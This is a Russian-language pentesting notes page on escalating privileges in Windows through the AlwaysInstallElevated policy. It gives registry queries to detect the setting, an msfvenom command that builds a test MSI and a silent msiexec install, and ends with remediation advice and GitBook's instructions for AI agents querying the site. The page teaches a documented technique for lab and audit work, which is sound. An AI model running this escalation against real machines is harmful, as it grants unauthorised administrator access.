> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md).

# Повышение привилегий в Windows через AlwaysInstallElevated

`AlwaysInstallElevated` является опасной политикой Windows, которая позволяет пользователю без прав администратора устанавливать MSI-пакеты с повышенными привилегиями, когда включены как ключ реестра текущего пользователя, так и локального компьютера.

## Обнаружение

Находка эксплуатируема, когда оба значения возвращают `1`:

```cmd
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

<figure><img src="/files/b800a8dc8bf5e5259fae9cebb879863e00c6c947" alt="AlwaysInstallElevated registry keys enabled"><figcaption></figcaption></figure>

## Проверка в лабораторных условиях

В контролируемой лаборатории создайте MSI, который выполняет хорошо заметное действие для проверки, например записывает повышенную идентичность во временный файл. Замените действие на разрешённую полезную нагрузку только после подтверждения области и настройки слушателя.

```bash
msfvenom -p windows/exec CMD='cmd /c whoami > C:\Windows\Temp\msi-check.txt' -f msi -o check.msi
```

<figure><img src="/files/58596b4d24381558fcd3f3c8426d081d0351955e" alt="MSI payload transferred to the Windows target"><figcaption></figcaption></figure>

## Запустите установщик

Установите MSI в тихом режиме:

```cmd
msiexec /quiet /qn /i check.msi
type C:\Windows\Temp\msi-check.txt
```

<figure><img src="/files/0947520bc1eb79cb5c65b8e5b4af9b45f71e41ed" alt="Elevated shell received after MSI execution"><figcaption></figcaption></figure>

## Ключевые моменты

* Оба ключа реестра должны быть включены.
* MSI выполняется с повышенными привилегиями.
* Если включён только один ключ, оставьте это как находку по усилению защиты, но не рассматривайте это как рабочее повышение привилегий.
* Устраните проблему, отключив политику и отслеживая необычные установки MSI.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
